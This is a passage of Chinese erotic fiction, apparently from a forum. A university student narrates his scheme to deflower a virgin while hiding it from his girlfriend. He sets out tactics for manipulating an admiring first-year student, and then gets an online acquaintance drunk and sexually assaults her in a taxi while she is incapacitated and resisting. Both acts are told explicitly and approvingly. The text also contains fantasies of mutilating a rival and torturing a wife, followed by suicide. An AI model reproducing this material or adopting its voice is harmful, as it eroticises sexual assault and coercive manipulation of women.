热搜排行
处女魔障

第一章

(一)

听说一个女人由女孩变成女人的时候都要经历一种尖尖的痒痒的巨大无比的刺痛,而且因为这种刺痛女人都要喊出声来和流下很多很多的血。这对我来说是一种很恐怖的幻觉,叫我对此总是充满很神秘很神圣的想象。

这种想象大部分都在清晨醒来或者中午睡醒午觉的时候,一旦脑海中充满了这种幻觉,我那下面的那玩意就会变的很硬,十分地硬,似乎非要拿一点柔软的潮湿的东西给使劲地挤压揉弄一下才会舒服。

我不明白人究竟是一种什么样的物种,一旦想到去下意识地蹂躏践踏同类物种的身体尤其是让其流出很多血液的时候,就都象见着佛光似的特别兴奋和高兴,无论是践踏同性还是异性,无论是做爱还是杀戮,都会对这样的事情特别的敏感特别的感兴趣。

到了我活到二十四岁的那个年头,已经上到大四了。却是一个彻彻底底的纯度为百分之百的处男,在大学里面说出去很是丢人。所以到现在自己十分地想去干一个女人,要干一个纯洁的处女,我想要看看她是怎样地去尖叫,怎样地去流血,要是流血到底能够留多少血。人吧,偶尔伟大,也会偶尔地下流。我是那样地认为。

然而我并非没有女朋友。我和我的女朋友媚媚从大一下半学期就开始谈对象,一直谈到现在。你可能想着我一直罗里罗嗦地罗嗦到现在是在盘算着怎样去干我的女朋友,那么你错了。我可以坦白地告诉你,我的女朋友死活都不让我碰她的下面,最多只是让我摸一下她的发育不全的乳房,摸那也是乘她不防备的时候。当我摸完她那手再往下面移动的时候,她就会给我生气,甚至翻脸。

我从小就对女人的乳房充满了好奇心。我至今还记的母亲的乳房是什么样子。母亲的乳房要用我的小嘴先使劲地碰几下,然后再香甜地一裹就能裹出就能裹出香甜的乳汁来。就知道这样我就开始推测所有的女性只要是长了乳房的那乳房必定是使劲地碰几下就能裹出乳汁来的。

我到上初中的时候,发现我班的女生只要是有乳房的就必然戴乳罩,而且戴的全是乳白色的乳罩,这就更加证明了我的推测。女人戴乳罩是为了防止乳房不小心被别的物体碰撞以后而流淌出来乳汁粘到衣服上,就想女性都喜欢穿红色的内裤一样,乳房和内裤都起到了过滤内分泌物的作用。

可我还是不能彻底的确信我的推测,事实出于雄辩,所以我就想拿一个女人来做一下实验。可媚媚说什么都不让我拿她做实验来证明我的推测,这就让我很是生气。就是因为这我曾经一周都不去理媚媚,天天泡在网上查找资料,到聊天室里面去问别人,来确凿一下我的推测。

然而,在百度无论怎么搜索,出来的竟是一堆女性怎样才能丰乳廓乳的广告公司。在百度不行,我就去雅虎去新浪,各大强有力的搜索网站我都搜索了遍,结果每每我打上“女人的乳房与乳汁”之后,都会蹦出一电脑的图象来,竟然没有一点我想要的真材实料。

可是我看着电脑上下载的无论哪一个女人的乳房都比媚媚的大,我就开始怀疑媚媚是不是有点营养不良。所以每次我看完我的电脑上一些美女的乳房后再出去陪媚媚逛街的时候,我都会给媚媚买很多很多的零食,每次媚媚都感都莫名其妙。

一搜索不出来,我就到聊天室去问网友,我做了一下平均率统计,每问十个人,都有五个人说我是流氓的,三个人让我抢一个女人的乳房过来无裹一下试试,剩下的两个都说自己的是男的,还未成年呢,都是十分地很想知道。

网友一说,我边十分地想找一个女人去干。媚媚不行,媚媚到底还不是不处女我也不清楚,反正我知道媚媚早晚都会让我干,媚媚可能将来会成为我的妻子。也是因为这样,如果我不趁早去找几个女人干,做为一个男人就那么地平平淡淡地活一辈子也没什么意思,所谓风流趁少年,我这都快不是少年了,所以到时候想风流都风流不了了,不风流白不风流。

风流是文雅一点的形容词,可能象我这样想法的人只能用配用“下流”“卑鄙无牙”之类的形容词来形容。管它,男人,怎么不都是一辈子。

(二)

在我真的想去干一个女人的时候,我便偷偷地开始了手淫的勾当,刚一开始,感觉手淫是一种很不干净、猥亵的行为,自己更是不屑一顾,甚至一谈起来就恶心想吐。但是我在十分地想去干一个处女的时候,我才开始的手淫。

那是在洗刷间里面,我把门反锁上。那时候我刚刚和媚媚亲热完,媚媚只让我去吻她的脸,竟不让我碰她的下面,在我亲吻她的时候我那玩意一直都在坚挺着,痛痒难忍。我一边把水龙头开到最大,一边用手摆弄我的那玩意,生怕被别人听着,只想揉弄几下,没去想那么多。

我知道我是在做手淫,可毕竟没做过,不知道怎么做。只是如同我在小时侯在家里摆弄一只可爱的小猫一样,可那猫是鲜活跳动的,那玩意却呆呆地象个老大似的硬肃在那里,好象谁也不怕似的。我使劲地去揉弄,越揉弄越使劲,越使劲便感觉越舒服,没想到那玩意竟越揉弄越大,我从来没有见过我那玩意竟是如此的大。

我便开始想象我那玩意是插到了媚媚的身体里面去了,不断地在她身体里面摩擦挺进,使劲地大踏步向前冲。没想到那玩意竟是那么地不更事,感觉还不到两分钟的时间,浑身打了一个激灵,随即就从那玩意里面射出了一种黏煳煳的乳白色的液体,如同小时侯母亲的乳汁一样的颜色。

我又开始怀疑,是不是每一个男人在做爱的时候要射多少的精液与小时侯喝母亲的乳汁有关系。可那味不同,这餵如同小狗身上的味道,腥腥的有那么一点臊臭,有点刺鼻的恶心。而母亲乳汁的味却是于生具来来的浓浓的香,那香味是容不你亵渎的。

接下来竟是一种无可名状的甜蜜,那是一种幸福的安静,如同一种信仰一样的高不可攀,而又信手可得。我听到外边有人的敲门声,我赶紧把那些精液仔细的用水冲刷掉,确认没有留下一点痕迹以后,才装做若无其事的把那门打开。 第一次手淫之后,大约隔了有一周的时间,我便开始怀疑自己是不是有那么一点点的肾虚或者是阳痿。我不太清楚肾虚和阳痿到底是怎样的一种病,隐隐约约我只是听说那是一种专门给男人做爱时设计的病,男人一旦有了这么一种病,男人便不能正常地和女人做爱,男人也便成了一堆废物。

我只是怀疑自己是不是得了那么一种病,我只是猜疑得那么一种病的人可能是想我这样持续不长久,一想到这,我心头便腾起了一种莫大的恐怖感,这是一种从来没有过的恐怖。假设我是真的得了那么一种病,我就没有能力也没有理由去干一个处女,也是就我的一切美丽而又丑陋的幻想将最终走想幻影,成为泡汤。 接下来的事情,我跟媚媚结婚,接下来我们将不会有孩子,接下来媚媚就会背着我去找其他的男人去偷偷地在月光下面做爱,接下来我们或许继续我们痛苦的生活或许离婚,接下来……再接下来的日子我都不敢去想了。

妈的,要等着我接了婚以后,谁要敢碰我的女人,给我戴绿帽子,老子即便是阳痿,也会理直气壮地把他那玩意用尖刀给割下来,然后再给他留个活口,叫他生不如死。要是,要是我的老婆有了别人的孩子,偶也会一狠心把她那小洞洞用东西给她锁上,去折磨她,不让那些偷情的不要脸的白白的死去。

折磨他们够了,然后,我再用安眠药结束我的生命。我感觉用安眠药自杀是最好不过的方法,那样至少没有疼痛。当我吃完安眠药的时候,我肯定会想,我这一生也是活挺壮观伟大地。

由于上叙的那些种种恐怖和推理,我便给自己找出了一百种理由,再来一次手淫,要认认真真地去干才对。为此,我特意问朋友借了一块能够记时的钟表,从我的手开始碰到我的那玩意开始记时。

没想到竟然持续到十三分种四十秒又零二十五毫秒!妈的,原来我是一个健康的男人。什么肾虚什么阳痿,我在网上专门查的,男人的做爱时间只要能够持续到十分种以上,就是一个完全健康的男人,一个能够霸占处女的男人。

(三)

所以我完全可以大胆地体面地去找一个处女先练练,小试一下牛刀。我坚信,我一定能够超过十三分钟四十秒又零二十五毫秒的,尽管我以后的手淫时间都是在十三分钟四十秒又零二十五毫秒之下九分钟十四秒又零十二毫秒以上,因为毕竟这是在演戏,那是在实战。一旦真刀真枪地干起来,我相信我会拿出置身度外舍身取义的勇气去坚持到最后一秒种,来完成我那伟大的体面而有曲折的具有历史沧桑感的使命。

至于怎样才能找着一个真正的处女,到是一个很大很大的难题。听朋友说女人只要走路的时候撇腿就十有八九不是处女了。找处女也不能找我们大四的。对于我们学校里的处女来说就想用漏斗漏豌豆,大一的时候都在漏斗里面没有被漏下去,都是处女。

到大二就漏下去一半,到了大三漏下去的速度就加快了,到了大四就所剩无几了。能够剩下来的,就是那些个头比较大的就象媚媚一样的女生,要不就是丑的叫人看了恶心的发了酶的豌豆,那样是真的没人要,要是想要的就是一些真正的象我这样的十分想去干一个处女的好男生。可还是不行,不去找大四的,因为媚媚的存在。

至少我还不想为了自己去干一个处女而失去了一个和我恋爱了三年多的我深爱着的女人媚媚,媚媚现在好象已经变成了我生命中不可缺少的一部分,我的生命早已不能离开她,我要偷偷地很有隐秘性地小心翼翼地瞒着他去搞我的地下活动。我知道我这样做会很危险,可能一不小心就会遭来杀人之祸。但是对于男人来说,越是危险的事情,做起来越是刺激,危险的事有着无比神秘的吸引力。 所以,我的涉猎范围定在了大一和校外。由于我在学校里学生会里担任一点小职务,在文艺部里做干事,另外,我在学校文学社里还做一个小编辑。所以或多或少的真的接触到不少大一的小妹妹。

在我没有下定决心去干一个处女之前,对那些小妹妹我都是敬而远之,见而避之,这是媚媚给我下的命令,我不得不服从。其实,说一点悄悄话,本人挂女人,是天大地大我最大。在我刚刚上大一的时候,不都一年我就挂了四个女生,到最后,我才选定的媚媚。

那时的我现在想想真的是太幼稚了。什么爱了情了的,什么只想好好地爱一个人了的,哎,结果还真的是好好地爱了,把媚媚使劲地爱了三年。结果,还是一个老处男。

同我一个宿舍的哥们武大郎,刚刚上大一的时候,挂一个牺牲一次,挂一个牺牲一次。我真有点佩服人家的毅力和作战手法,别看我背地里说他是武大郎,人家武大郎是不气不馁勇往直前,每摔倒一次都会总结一次经验,所谓真正的男人从哪里摔倒就会从哪里站起来,人家武大郎认定自己是真正男人。

就是因为这样,人家现在嘴皮练的比周星驰还要厉害,你猜猜人家武大现在干了几个处女了,说出来我都会摸一把的汗,妈的,足足十一个!走了狗屎的桃花运了。现在无论多么刁蛮多么高贵多么漂亮的女生,只要一到了他的手底下,不出两周就能出去开房,我是佩服的五体投地。

他每次和媚媚说完话,我心里都是直发颤。回头我都会背地里给媚媚做一下思想工作。心里想着,可不能叫让媚媚这样的一个纯情美少女叫这种歹毒的色狼给糟蹋了。

(四)

对于大一的小妹妹我思量前又思量后,最后我才决定拿火儿开刀。我先来说说火儿是一个怎么样的女生。先论姿色,我凭良心说绝对我次于媚媚,窈窕的个儿有一副憨态可掬的惹人怜的脸蛋儿。但是说到心计,就比不过媚媚的十分之一。媚媚是冰雪聪明地我都有点害怕,要不然我才不会拿她做我女朋友那么多年。 就是因为火儿没有心计,而且呢她对我还十分地崇拜,有点崇拜的五体投地,我才会选定她来做我的牛。另外,我有看她是一个比较纯洁的小女生,我观察了很久,火儿走路是不撇岔的。而且,她也比较内向,不喜欢说话。越是内向的女生我个人以为在那一关上把的越是比较紧。

再说说她是怎么才对我崇拜的五体投地的,在她刚刚上大一的时候,由于本人在校园网的BBS上混的很牛逼,喜欢在校园网上源源不断地发点文章,我写的一篇情书把她感动的都留了眼泪,从那以后便就对我是狂热地盲目地崇拜起来,现在想想我都不知道那情书到底有什么可以让她那么感动的地方,全是一堆垃圾。 当时她在网上要求和我当面谈,我就偷偷地去了,当时我见了她,心里真的腾起了一股要调戏一下的念头,但是由于当时媚媚在一边盯的我比较紧,那念头便渐渐地变的天高云淡了。我只能偷偷地在网上说,我已经有了媚媚。但是我看的出火儿并没有对我死心,即便今日,我每在校园网发一篇文章她还是要给我一段很长的评论,惹的媚媚每次看了都要皱一下眉头。

要想挂来一个女生必须要使用一定的手腕和技巧的,要是单凭一颗傻乎乎的真心是什么都挂不来的。我在想着干火儿的同时,我找来了一只替罪羊。他叫兔子,上大二。小伙子长的倒真的是眉清目秀的,是计算机系里的,那系里的女生特别希有。因此他上到大二还没有找到对象,也是搞文学的,在文学社里我的手下办事,对我的话是百依百顺。

我也不是故意要找他来做替罪羊的,是处于迫不得已顺手牵羊的那种。有一次,我和他开玩笑,他说媚媚是长的多么可爱多么漂亮多么温柔,要我也要帮他物色一个和媚媚一样的小女生。

当时我的歪点子才生出来,对他说:“你要找对象早对我说呀,不过现在还不算晚。我倒真有一个好妹妹,比媚媚长的还要漂亮,文学功底也很好。还没有被别人下口。我就帮你介绍介绍,介绍完以后就看你的了……呵。”我就这样顺手牵羊地把火儿介绍给你他。

这样一来,由他做挡箭牌,我就可以与火儿光明正大地去接触,媚媚见了也不会太注意,都看着我是一个大好人。一给兔子提到火儿,听兔子的口音好象似乎早已注意她很久了。在我拥耸之下,我带着兔子以文学社征稿为由请了火儿吃了一顿饭。

在饭桌上,我先把两人引见了一番。两人刚刚一开始,说的好象都很投机,但到后来都是我和火儿眉来眼去的。兔子毕竟是新手,看不出恋爱其中的门道来。我说的是我请客,吃完饭竟是兔子买的单,我心里狠是过意不去。

从那以后,我便在QQ上对火儿在心理上进行了猛烈的狂轰滥炸。所谓恋爱之首章,意奸也。既先在意念上先把她强奸掉,先用眼光把她的眼睛吸引过来,再用一些奉承的甜言蜜语,甜言蜜语之后再是肉麻下流,然后再使劲地使坏,越坏越好,小女生就喜欢这。只要你用语把握的分寸恰当,一般都很容易把一个小女生在意志强奸掉的。

接下来的活计就是动手动脚。要是意志强奸完了之后不对女生动手动脚,那只会前功尽弃,小女生以为你对她的身体不感兴趣,即她的身体性感到没有勾起你的邪念,便以为你不喜欢她,只是在逗她玩,说不准她可能再也不理你。 我感觉意奸我的很完满地完成了任务,接下来要做我的下一步计划。要对火儿动手动脚可不容易。必须先找一个不为人注意的地方,一定要防止媚媚的眼线。另一方面,还必须要堵住火儿的嘴,叫她不会说出去我对她的人身侵犯。

我以教火儿写诗为由,把她领到了一个离学校有八站地远的一个公园里去玩耍。在那里我故意捡一些险路歪路来走,因为她会害怕,她一害怕我就牵她的手搂她的腰。我突然闻到了火儿身上有一种茉莉花的香味,叫我眩晕。

我和她痛痛快快地玩了一个下午。然后,我借故让她作车先回去,之后我坐下一班车回学校。回到学校之后,在QQ上给火儿聊天,自然有温柔了许多。火儿对我没有和他一起回学校的做法很的谅解体贴,她说他知道我此刻的心情,很感谢我能陪她一起出去玩。要我不要说出去,以免媚媚听到会生我的气。

我们还约好了下一次见面的时间和地点。在两周以后的一个离学校有十站地远的汗冰城里。

第二章

(五)

人要一走运,就会鸡犬升天,鸡犬不宁。记的前面我曾经说过,我要干一个处女锁定的范围是在大一和校外,刚刚一开始我就精神文明一起来两手抓起,双管齐下。似乎要想泡到校外的妞好象比登天还难了点,大家都是那么以为。谁知道那高高在上的苍天,我竟不废催灰之力的登上去了。

她叫贝贝,是我大三时候认识的网友,认识她的时候她还上高三。考大学没有考上,现在正失业在家。在网上聊天没有不吃腥的猫,因为她的可爱和孩子气,我一直都把她当成我的宝贝小妹妹来看。女人嘛就是这样,要想当朋友来玩对她好,可别时间长,那时间一长,什么都会都变质,那妹妹也会变成情人,不然不会有那么多作家专写些乱伦的事情来赚稿费。

说句实话我真的没打算去干她,因为我刚刚地想干火儿,我害怕什么都会叫我搞砸。可硬硬地想要和我见面,非见不行,我是怀着舍不得孩子套不来狼的决心去见的,地点是在学校附近的一个酒吧。

我暗自窃喜,不去白不去,干了她比干火儿安全多了,毕竟隔着一个大学校门,万一干完甩了她一个女孩子家的也不好意思进来找我不是,更不会让媚媚怀疑。现在我无论做什么事情,我都是先把媚媚放在第一个位置来考虑,媚媚才是我真正的女人。

贝贝在网上说的自己有多漂亮多漂亮,可见了面却是很普通很普通,还是用我现在急于想去干一个处女的眼光去看的。因为她长的很胖,个头又不高,乳房看样到是很大,正和我的胃口。

要是用我没下定决心去干一个处女之前的眼光来评价贝贝呢就是……站着和躺着一般高的肥婆娘。但是现在的确不同,所谓非常时期非常眼光,我的审美观点是随着时间的改变而改变的,我以为考虑一个美女的角度是脸蛋、身材、气质、乳房、屁股,现在呢我只考虑乳房和屁股,其他的什么角度我没那么多的闲工夫去想了,正所谓关上灯女人都是一样的洞洞的问题。

而贝贝现在在这两个方面做的似乎都很好,尤其是乳房看上去比我在网上下载的那些美女的咪咪还要大那么一点。那屁股更不用说,一般胖女人的屁股都是象我这般出色的色狼凝视的重点目标之一,胖中有油水嘛,摆起来够你揉弄一阵子的。

到了酒吧,刚刚一开始就二话不说先干了一杯啤酒。毕竟在网上认识了一年多了,所谓老网友一见如故也。喝酒,非喝醉她不行。每喝一杯酒我都用我那性感勾人的眼睛瞄一下她的乳房。

刚刚一进酒吧的时候她就把她的外套脱的,里面穿着一身紫罗兰色高沾领的绒线衣,这样似乎更突出了她的肥胖臃肿,然而却更加显现出她的乳房的伟大。我一直都在琢磨,要是用我现在的大嘴巴使劲地去碰几下然后再轻轻地一裹,到底能不能裹去奶来呢。喝酒,使劲地喝酒,妈的,不把她灌醉老子今天就不走出这酒吧,说好的我买单嘛。她好象从来没有被男士请出来吃过饭似的,让她喝多少她就喝多少,真乖,很听话的样子。

酒要是一喝多了,就什么话都能够说出来,就什么事情都能够做出来,当年武松就是靠着这酒老大把那老虎给打死的,妈的,今天我也要靠着这酒老大去干一个处女。我问她是不是第一次让男人请出来吃饭。

她说:才不是呢,她有一帮哥们经常到酒吧来喝酒的,七八罐的不成问题。听完我的心顿时凉了一大截。我问她到底还是不是处女,她斩钉截铁地说是。我使劲地打出了一个酒嗝,又问了一遍,到底还是不是处女。只见她使劲地砸着酒杯说:是,就是,就是。

喝的我感觉自己确实支持不住的时候我才收场,她看样也不行了,我开始去扶她,手不自觉地就摸到了她那我向往以久的乳房,软软的很是惬意,她似乎一点也不在在乎。我们刚刚走出酒吧,那善良的酒吧老板又把我们喊了回去,晕菜,竟忘了买单了。结帐,一共一百五十元,吓了我一跳。

幸好我是带足了钱出来的,不然我的衣服和手机都会因为这么一顿没有头绪的约会而有尝地赠送给那酒吧的老板。外面的城市早已是灯火通明,我们就象一对幽灵,在那白白花花红红绿绿的空气中来回的穿梭游荡。

那来来回回的车辆吵的我的手也顺着那节奏曲曲折折地浮游到了贝贝的衣服里面那两座高耸的黄金地带,心里早就泛出了想要裹一下的欲望。心里一直都在想着我要把贝贝领到一个什么样的地方才能够好好的安全的干她一次呢?我看的出她已经失去了知觉。

突然有一辆出租车紧急刹车地停到了我俩的面前,只听见那车里的司机在嚷:“妈的,没长眼睛!”我灵机一动,对司机挥了挥手,扶着贝贝便进了出租车的后门。我从口袋了面掏出了一张一百元的钞票甩给了司机,理直气壮地喊到:“哥们,你就围着那天桥使劲地给我转,一直转完那一百元为止。”

(六)

那出租车里面还真是一个做爱的好地方,晕黄的灯光伴随着那幽雅而又低沈的音乐,让我心潮澎湃胃口大增。我没命地狂吻贝贝的脸,贝贝象一头死猪似的躺在那里一动不动,任凭我摆布。可她的衣服却真的很是难解,身体本来胖的要命,还穿的那么紧,妈的,以后找老婆打死也不去找肥的。

尤其是那毛衣,我费了九牛二虎之力才给她拽下来,我花了足足有五分钟才那贝贝的乳罩看个正着,是乳白色的,到是真的叫人很眼馋。我也不知道哪来的那股力气,使劲地一拽,就给拽了下来,这个是最好拖的东西了。

谁知道一下子竟把她给拽清醒了,开始没命地反抗,可由不得你了,现在我可是真正的流氓加土匪。我是从小到大头一次身临其境到女人的乳房,那乳房真的很大,白皙的象两个大白馒头或者是两朵棉花糖,让人十分地想把它吞到肚子里面去。

我用嘴含住贝贝的乳头,开始使劲地去碰,碰,碰的我的头都晕了,再裹,使劲地裹,结果,没奶,什么都没有。她开始用手拽我的头发。我每碰一下她的乳房,她都会使劲地揪一下我的头发,我开始后悔我为什么要留那么长的头发呢。妈的,为我证明我那远古而又富有哲人般气味的推测也顾不得她怎么去拽了,碰,使劲地碰,裹,使劲地裹,妈的,还是没奶呀。

我开始怀疑是不自己的方法不对,我在努力地回忆我在儿时是怎样裹出母亲的乳汁的,想来想去还是只想到这么一个最经典的动作。要不……要不我的推论就真的不成立。要不,贝贝就不是一个正常的女人,她肯定有病。对,她肯定有病,不然我刚才拽她的衣服的时候一点知觉都没有,贝贝肯定有病。

可我还是不停的裹,我相信裹多了似乎能够看见曙光和黎明的到来,就象红军两万五千里长征一样的道理。慢慢地我感觉到每当我碰贝贝的乳房一下,她似乎感到很舒服,使劲地把我的头搂进她的胸口,憋的我有点透不过气来。

感觉裹了足足有半小时之久,怎么也裹不出奶了,我开始失去了信心。贝贝现在张了眼睛,露出了好象是很幸福的表情。究竟的麻痹似乎对我和贝贝都失去了作用,贝贝知道自己是在出租车里面,所以她也不敢大声地说话,因为前面还有一个司机在开车。我们只是喘气,大声地喘气。

既然乳房对我失去了兴趣,我便开始攻击她的最后防线了,她却死死地把住腰带不让我的手进去解她的腰带。我的那玩意儿在刚才裹她的乳房的时候不自觉地似乎已经射了两次,现在好象又开始挺拔了起来。使我大惑不解,听说男性做爱一晚上只能够做一两次,妈的,我还没做呢,都已经在里面射了两次了,现在正式开始第三次。

不让我解,我的手就一直从她的肥肥肚皮一直滑到了她的内裤里面,里面竟是毛茸茸湿漉漉的一片,没想到女人那里面竟有那么多的毛,在小洞洞的上面竟还奇怪地长出一块大肥肉来。以前总以为女人的下面应该有三个洞,一个是尿尿用的,一个是做爱和生孩子用的,一个是拉屎用的,可我的手在里面摸来摸去就那么两个洞,我感到很是纳闷。

在学健康教育的时候我把那介绍女人洞洞的书看了足足有一百遍,上面明明写着女人下面有三个洞,可经过我实地考察严密分析综合论证以后,才得出如下正确的结论:女人的下面就有两个洞洞,可能是做爱的那个洞洞比较大,里面套着那个尿尿的洞洞,这样可以节省空间资源和占地面积。

我在贝贝那里摸来摸去,感觉到那里的水是越来越多。摸着摸着,贝贝抓紧腰带的手竟然慢慢地松开了,我兴奋地感觉到我那下面的玩意儿无缘无故地又大出了许多。一时间我的脑海里面竟迷乱成一片空白,我楞住了,傻傻地呆在那里一动不动,如同一个木偶。

贝贝开始呻吟,没想到贝贝竟亲自把腰带给解开了。我感觉我那玩意应该是一下子进去的,进去之后就再也没出来。我兴奋的差一点喊了出来,感觉到自己好象进如了极乐世界。贝贝开始浑身战斗起来,我听见她的牙齿咬的咯吱咯吱的声音。

可我的下面竟象原子弹一样地炸开了花,原本以为自己是最强壮的男人,能够持续很长很长的时间,谁知道原来竟那么一下就炸开了花,而且还是那么的毛糙仓促和不自然。

我突然间想起,如果一个女性又女孩变成女人,都要经过一种尖尖的痒痒的刺痛,都要喊出声来都要流很多很多的血的,可贝贝似乎一样的表现都没有。贝贝只是把牙齿咬的咯吱咯吱的响,我突然感觉到下面也有一阵热潮打到我的那玩意上面,随即贝贝那僵直的身体也瘫软了下来。

我把手伸到了下面,摸了摸贝贝的那个小洞洞,热唿唿的我的手象放进了用热水温过的蜂蜜里。靠,妈的,原来我那玩意竟没进去,我那一下竟是我在那洞洞的边上打的滑!我差一点晕了过去。

我把手拿出来一看也没有血。那味道竟和我手淫时流出来的黏液的味道一模一样,是小狗身上的味道腥腥的有那么一点的香臊。

只听见那司机在前面喊:“时间到了,我也该下班了。”

(七)

我把贝贝送回家。回到学校以后已经快到十二点了。回到宿舍才知道,媚媚连着给我打了三次电话,火儿也打了一次。幸好在我去的时候把手机给关机了,不然不知道又会出现什么乱子。熟悉地打开QQ,没想到媚媚、火儿和贝贝三个竟同时在线,那滴滴答答的声音听的我都有点心烦气燥。

媚媚问我为什么不去上自修,又去喝酒了?死样。也不给她说一声,连手机都给关了。我先把火儿和贝贝放在在一旁,连忙给媚媚解释。说是在网上碰着一个志同道合的哥们大老远的从的别的学校来找我玩,是谁谁谁我的说的一清二楚,人家来了我不能不请人家吃一顿饭吧,手机在充电,一直都没带在身上呀。 媚媚都问那个哥们到底是谁,我就说是在哪个哪个论坛里做什么什么版主,在哪个哪个报社里做什么什么编辑,厉害着那,名气大着那,我还想通过他找份象样的工作呢。媚媚却说她怎么没听说过呀,你就胡诌八扯吧,那咱就跟手吧,咱也别考研了,先找一个下三烂的工作煳弄一辈子算了。

以后她再也不管我了,就算我死了她也不管,她还要考研呢,她要去学习了,说完她就把QQ给关了。我赶紧给媚媚打电话,我知道她肯定是生气了,这个时间必须要打个电话的。我给她陪了一大堆的不是,做了一大堆的检讨,象一个幼儿园的小孩在老师面前做检讨一样的诚恳和怯弱。

用了很久的时间才把媚媚给哄好。唉,女人吧就是这样的死德行,只要男人在女人面前什么都不是,装做一无是处的样子,你就是做天塌下来的事情你也能够瞒天过海。

我赶紧去顾火儿,火儿问我为什么要上线这么久才给她说话,她说她一直都在等我,她看不着我她就睡不着。她说兔子给她写了一封很长很长的情书,自己很矛盾不知道该不该答应他,她现在心里是很难受很难受,想哭。

我说,我也有点想他了,所以我才半夜上来看看,上来一直没看QQ,去论坛玩了。我还对她说,对任何男人都不要轻易的相信,包括对我。对任何男人也不要轻易的答应他,要先苦其心后劳其筋骨,看看他是不是真心,过一段时间后再下决定也不迟。火儿说我说的对,一切都听我的去做,给我发来一大串的笑脸,象一只温驯的小猫。

我这才打开贝贝的窗口,贝贝气愤地问我是不是死了,怎么这么久才给她回消息。我说有点喝懵了,打开QQ就就睡着了。贝贝说:她也有点头疼,她说没想到第一次见面我居然那样地待她。她说她是第一次做那样的事情,不知道会不会怀孕。我说我是喝酒喝太多了,自己也没想到自己会做出那样的事情来。 我又说:你肯定不会怀孕的,因为我压根就没有插进去……说到这我心里便隐隐地做疼。她说没插进去她怎么会感觉到疼痛了,其实就疼痛那么一小会。我说我只是在边上蹭了一下,没有血就不会有事的。她突然问我到底爱不爱她,到底爱不爱她。我苦笑着对她说:爱,在我在网上第一次碰着你的时候就爱上了你。 我心里想:爱,真的爱呀,不爱你怎么能够和你做爱呀。她又问我到底是不是真的爱她。我说:是真的,千真万确,掏心掏肺的那一种,我打算养你一辈子呢。说这些看似认真的话好象早已成了我的习惯,成了我在网络中比较专业性质的工作。

我万万没有想到,她竟然给我提出了这么一个要求:我要是真的爱她,就给她买一身韩国版的风衣,那件衣服不贵的就四百元钱。因为,因为她朋友的男朋友都给她们买衣服,她说还想要看看我是不是对她真心。还说我要是不给她卖就一刀两断,再也不理我。

我突然间头疼的厉害。我对火儿和贝贝说了一声拜拜就把机器给关了。睡觉的时候我一直都在思索着这么一个问题:用四百元钱去干一个处女,到底值不值得?

TOP

nangongyi

该用户已被删除

第三章

(八)

无毒不丈夫,量小非君子。为了真正能够干一个处女,我豁出去了,有点“壮士一去兮不覆返”的感觉。不就是四百元嘛,一个月的生活费,大不了……大不了吃媚媚一个月。

第二天我就偷偷地从银行里提出了五百元钱,然后又偷偷地把贝贝CALL了出来,故意戴着一副墨镜,活象一个特工一样,偷偷摸摸地去和她去偷情去逛街。女人真他妈的费事,逛了足足有大半天才把那件值四百元的韩国版式的风衣买来。

原来真的想要干一个处女要花那么多的钱。陪着贝贝买完衣服,贝贝便开始答应跟我,跟我到任何地方去玩。实际上心里都很明白,就是出去开房。怪不得媚媚不让我去碰她,原来一个处女是那么的贵,说真的,我在媚媚身上并没有花多少的钱,除了给她买零食就是给她买零食,其它的我真的记不得在她身上花过什么的钱了。

别的男生处女朋友都要给她女朋友买衣服买礼物什么的,可我一给媚媚买媚媚就生气。媚媚好象不需要我的衣服和礼物,媚媚好象就需要我给她花几元钱买的零食。我到是记的我在艰苦的岁月的时候,就是我穷的连饭都吃不上的时候,总是媚媚管我饭吃。

回到学校我便对媚媚撒谎说:一个城市的报社需要一个实习生,那个报社的老总很喜欢我的文章,想要我去实习一周,这是一次不可多得的机会,所以我打算去看一下。媚媚一直都想让我考研,可这次她似乎很是支持我,问我真的想去找一份工作了,要是真的想去那就认真地打扮一下,别穿的那么流里流气的,去换一身西服去。

我想也是,穿的体体面面的去见贝贝也好。我便回宿舍换了一身的西服出来,出来以后就见媚媚的手里拿着一张金龙卡,我知道那里面存着我和媚媚在暑假里一起打工的钱,一共有一千四百元,都是我们辛辛苦苦的挣来的,这也是我挣来的第一比钱,所以我就把它放在了媚媚的那里。

我是说什么也不要,因为我感觉那张卡很是珍贵,我仅仅值一千四百元的,里面还有放着我和媚媚之间的爱情,很是沉重。我固执的不要,媚媚便生气了,说:“该花的就必须花,该大点的就必须打点,你以为在外面想找一份象样的工作就那么容易呀。都什么时候了,你要真把我当成你的人看你就拿着,里面现在共有两千元,不够你千万要打电话给我,我在这边再给你想办法。”我看着媚媚那期望的眼神,慢慢地接过了那张金龙卡,差一点掉下泪来。

(九)

我贝贝偷偷地来到了那个城市旁边的附近的一个小镇上。我打算要在这方小镇里面光荣地用我那玩意把贝贝的处女膜给捅破,来赎回我的那四百元钱。贝贝靠着我的肩膀和我一起走在那茫茫碌碌的大街上,那枯涩的阳光照着我和她那呆滞的脸。贝贝看着我两在阳光下面的身影奇怪地说道:“你看看我们到底象不象一对恋人?难道这就是我的男人?”我笑着说:“怎么不象,就是嘛,我就是你的男人嘛!”我笑的是一脸的无奈与滑稽。

进了房间以后我就开始脱贝贝的衣服。贝贝指着她的乳房嚷着你说:“你看看,你看看,你一天到晚就知道弄我,你看你上次在车上都把我这给弄肿了。”我仔细地一看,贝贝的乳房四周真的红起了一片,管它那,我暗地里想,今天我还要你下面肿起来呢。

这次我把贝贝浑身上下脱了个精光,我这是生平第一次去端倪一个女人赤裸的侗体。贝贝真的是太胖了,浑身上下好象除了肉就是肉,看看那肚皮,看看大腿,简直是不堪忍睹。混身上下就那乳房好那么一点,结果还是裹不出来奶来的。 不管怎样我都要使劲地去蹂躏她去践踏她,去捅破她的处女膜,我是报着必胜的信念来的,不把她干出血来我就不回去了,我非要她尖叫,我非要她有那种尖尖的巨大无比的刺痛。

我在她的洞洞的下面掂了一大罗厚厚的卫生纸,来接她流下来的鲜血。我开始用我的那玩意儿来回地在她的小洞洞的四周磨蹭,我感觉下面的水似乎越来越多,但就是因为有水就象是放了润滑油似的总是打滑进不去,我用手把住我的那玩意费了很大的劲才插了进去,结果只进去了一个头,里面好象是一个死穴已经到了尽头,死死地堵着我不让我的那玩意进去。

我感觉我好象正在做一件伟大的工程,那工程是富有历史使命感的,那工程需要咱拼了命地去干才能够完成的,那咱就拼了命地往里面去干。

